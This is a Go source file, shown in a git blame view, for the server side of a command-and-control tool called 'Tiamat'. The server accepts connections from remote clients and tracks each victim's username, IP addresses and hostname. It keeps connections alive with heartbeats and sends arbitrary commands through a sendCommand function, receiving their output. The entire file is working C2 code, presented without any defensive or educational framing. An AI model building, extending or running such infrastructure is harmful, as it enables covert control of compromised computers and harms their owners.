2024-06-03 09:24:18 +02:00
|
|
|
package cmd
|
|
|
|
|
|
|
|
import (
|
2024-06-03 10:16:35 +02:00
|
|
|
"encoding/gob"
|
2024-06-07 11:30:16 +02:00
|
|
|
"encoding/json"
|
2024-06-03 10:16:35 +02:00
|
|
|
"fmt"
|
2024-06-03 09:24:18 +02:00
|
|
|
"log"
|
|
|
|
"net"
|
2024-06-07 11:30:16 +02:00
|
|
|
"os"
|
2024-06-03 15:05:43 +02:00
|
|
|
"time"
|
2024-06-03 09:24:18 +02:00
|
|
|
|
|
|
|
"github.com/spf13/viper"
|
|
|
|
)
|
|
|
|
|
|
|
|
var (
|
2024-06-07 12:03:30 +02:00
|
|
|
C2Port string = "1302"
|
|
|
|
clientList []Client
|
|
|
|
clientIDs int = 0
|
|
|
|
|
2024-06-10 09:31:02 +02:00
|
|
|
heartbeatRate time.Duration = 15
|
|
|
|
|
2024-06-07 12:03:30 +02:00
|
|
|
isUsingJSONParameter bool
|
|
|
|
clientJSONPath string = "/.config/tiamat/clients.json"
|
2024-06-03 09:24:18 +02:00
|
|
|
)
|
|
|
|
|
2024-06-03 15:05:43 +02:00
|
|
|
func (c Client) Instruct(i Instructions) error {
|
|
|
|
enc := gob.NewEncoder(c.Conn)
|
|
|
|
err := enc.Encode(i)
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-11 10:45:31 +02:00
|
|
|
func setClientPath() (string, error) {
|
2024-06-07 12:03:30 +02:00
|
|
|
var fileToOpen string
|
|
|
|
home, err := os.UserHomeDir()
|
|
|
|
if err != nil {
|
2024-06-11 10:45:31 +02:00
|
|
|
return "", err
|
2024-06-07 12:03:30 +02:00
|
|
|
}
|
|
|
|
if isUsingJSONParameter == false {
|
|
|
|
fileToOpen = home + clientJSONPath
|
|
|
|
configPath := viper.GetString("Server.ClientPath")
|
|
|
|
if configPath != "" {
|
|
|
|
fileToOpen = configPath
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
fileToOpen = clientJSONPath
|
|
|
|
}
|
|
|
|
|
2024-06-11 10:45:31 +02:00
|
|
|
return fileToOpen, nil
|
|
|
|
}
|
|
|
|
|
|
|
|
func recoverClients() error {
|
|
|
|
fileToOpen, err := setClientPath()
|
|
|
|
if err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
|
2024-06-07 11:30:16 +02:00
|
|
|
clients := ClientJSON{}
|
2024-06-07 12:03:30 +02:00
|
|
|
file, err := os.Open(fileToOpen)
|
2024-06-07 11:30:16 +02:00
|
|
|
if err != nil {
|
|
|
|
if os.IsNotExist(err) {
|
2024-06-07 12:03:30 +02:00
|
|
|
log.Printf("Missing file at %v\n", fileToOpen)
|
2024-06-07 11:30:16 +02:00
|
|
|
return nil
|
|
|
|
}
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
jsonParse := json.NewDecoder(file)
|
|
|
|
if err = jsonParse.Decode(&clients); err != nil {
|
|
|
|
return err
|
|
|
|
}
|
|
|
|
for _, v := range clients.List {
|
|
|
|
client := Client{}
|
|
|
|
client.ClientBasicInfo = v
|
|
|
|
client.IsOnline = false
|
|
|
|
client.ClientID = clientIDs
|
|
|
|
clientIDs++
|
|
|
|
clientList = append(clientList, client)
|
|
|
|
}
|
|
|
|
return nil
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
func Server() {
|
2024-06-07 12:03:30 +02:00
|
|
|
log.SetPrefix("[TIAMAT] ")
|
2024-06-03 09:24:18 +02:00
|
|
|
p := viper.GetString("Server.Port")
|
|
|
|
if p != "" {
|
|
|
|
C2Port = p
|
|
|
|
}
|
|
|
|
go WebServer()
|
2024-06-07 11:30:16 +02:00
|
|
|
|
|
|
|
if err := recoverClients(); err != nil {
|
|
|
|
log.Fatalf("Error happened recovering clients: %v\n", err)
|
|
|
|
}
|
|
|
|
|
2024-06-03 09:24:18 +02:00
|
|
|
ln, err := net.Listen("tcp", ":"+C2Port)
|
|
|
|
if err != nil {
|
|
|
|
log.Fatalf("Error happened listening on C2 port: %v\n", err)
|
|
|
|
}
|
|
|
|
log.Printf("Listening on port %v...", C2Port)
|
|
|
|
defer ln.Close()
|
|
|
|
|
|
|
|
for {
|
|
|
|
conn, err := ln.Accept()
|
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened accepting connection: %v\n", err)
|
|
|
|
}
|
|
|
|
handleConn(conn)
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
func handleConn(conn net.Conn) {
|
2024-06-04 12:41:57 +02:00
|
|
|
ID, err := getClient(conn)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
|
|
|
log.Printf("Error happened receiving OS information: %v\n", err)
|
2024-06-11 10:45:31 +02:00
|
|
|
return
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
go Heartbeat(ID)
|
2024-06-04 09:37:38 +02:00
|
|
|
}
|
|
|
|
|
2024-06-05 09:50:29 +02:00
|
|
|
func sendCommand(ID int, command string) (Output string, err error) {
|
|
|
|
inst := Instructions{
|
|
|
|
IsCommand: true,
|
|
|
|
Message: command,
|
|
|
|
}
|
|
|
|
clientList[ID].Instruct(inst)
|
|
|
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
|
|
|
if err != nil || resp.Successful != true {
|
2024-06-06 09:32:24 +02:00
|
|
|
e := fmt.Errorf("%v\n", resp.Message)
|
|
|
|
return "", e
|
2024-06-05 09:50:29 +02:00
|
|
|
}
|
|
|
|
return resp.Message, nil
|
|
|
|
}
|
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
func Heartbeat(ID int) {
|
2024-06-03 15:05:43 +02:00
|
|
|
for {
|
2024-06-11 12:30:52 +02:00
|
|
|
if len(clientList) == 0 {
|
|
|
|
return
|
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
inst := Instructions{
|
|
|
|
IsHeartbeat: true,
|
|
|
|
Message: "PING",
|
|
|
|
}
|
2024-06-04 12:41:57 +02:00
|
|
|
clientList[ID].Instruct(inst)
|
|
|
|
resp, err := ServerMessageReceiver(clientList[ID].Conn)
|
2024-06-04 09:37:38 +02:00
|
|
|
if err == nil && resp.Message == "PONG" {
|
2024-06-06 09:53:25 +02:00
|
|
|
if clientList[ID].IsOnline != true {
|
|
|
|
clientList[ID].IsOnline = true
|
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
} else {
|
2024-06-06 09:53:25 +02:00
|
|
|
log.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
|
2024-06-04 12:41:57 +02:00
|
|
|
clientList[ID].IsOnline = false
|
2024-06-04 09:37:38 +02:00
|
|
|
return
|
|
|
|
}
|
|
|
|
|
2024-06-10 09:31:02 +02:00
|
|
|
time.Sleep(time.Second * heartbeatRate)
|
2024-06-03 15:05:43 +02:00
|
|
|
}
|
2024-06-04 09:37:38 +02:00
|
|
|
}
|
2024-06-03 15:05:43 +02:00
|
|
|
|
2024-06-05 09:50:29 +02:00
|
|
|
func returnClient(ID int) (Client, error) {
|
|
|
|
for _, v := range clientList {
|
|
|
|
if v.ClientID == ID {
|
|
|
|
return v, nil
|
|
|
|
}
|
|
|
|
}
|
2024-06-06 09:32:24 +02:00
|
|
|
err := fmt.Errorf("Client not found\n")
|
2024-06-05 09:50:29 +02:00
|
|
|
return Client{}, err
|
|
|
|
}
|
|
|
|
|
2024-06-04 09:37:38 +02:00
|
|
|
func ServerMessageReceiver(conn net.Conn) (Response, error) {
|
|
|
|
dec := gob.NewDecoder(conn)
|
2024-06-06 09:32:24 +02:00
|
|
|
c := Response{}
|
|
|
|
err := dec.Decode(&c)
|
2024-06-04 09:37:38 +02:00
|
|
|
if err != nil {
|
|
|
|
return Response{}, err
|
|
|
|
}
|
2024-06-06 09:32:24 +02:00
|
|
|
return c, nil
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-03 09:24:18 +02:00
|
|
|
|
2024-06-04 12:41:57 +02:00
|
|
|
func getClient(conn net.Conn) (int, error) {
|
2024-06-03 10:16:35 +02:00
|
|
|
dec := gob.NewDecoder(conn)
|
2024-06-04 12:41:57 +02:00
|
|
|
basicC := ClientBasicInfo{}
|
2024-06-04 09:37:38 +02:00
|
|
|
err := dec.Decode(&basicC)
|
2024-06-03 10:16:35 +02:00
|
|
|
if err != nil {
|
2024-06-04 12:41:57 +02:00
|
|
|
return -1, err
|
|
|
|
}
|
|
|
|
|
|
|
|
for i, v := range clientList {
|
|
|
|
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
|
|
|
|
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
|
2024-06-10 09:18:48 +02:00
|
|
|
basicC.Hostname == v.ClientBasicInfo.Hostname && basicC.LocalIP == v.ClientBasicInfo.LocalIP
|
2024-06-04 12:41:57 +02:00
|
|
|
|
|
|
|
if sameClient == true {
|
|
|
|
clientList[i].IsOnline = true
|
|
|
|
clientList[i].Conn = conn
|
2024-06-06 09:53:25 +02:00
|
|
|
log.Printf("Client %v is back online!\n", clientList[i].ClientBasicInfo.Hostname)
|
2024-06-04 12:41:57 +02:00
|
|
|
return i, nil
|
|
|
|
}
|
2024-06-03 10:16:35 +02:00
|
|
|
}
|
2024-06-04 12:41:57 +02:00
|
|
|
newC := Client{}
|
|
|
|
newC.ClientBasicInfo = basicC
|
2024-06-04 09:37:38 +02:00
|
|
|
newC.Conn = conn
|
|
|
|
newC.IsOnline = true
|
2024-06-05 09:50:29 +02:00
|
|
|
newC.ClientID = clientIDs
|
|
|
|
clientIDs++
|
2024-06-06 09:53:25 +02:00
|
|
|
log.Printf("Client %v is online!\n", newC.ClientBasicInfo.Hostname)
|
2024-06-04 09:37:38 +02:00
|
|
|
|
|
|
|
clientList = append(clientList, newC)
|
2024-06-04 12:41:57 +02:00
|
|
|
return len(clientList) - 1, nil
|
2024-06-03 09:24:18 +02:00
|
|
|
}
|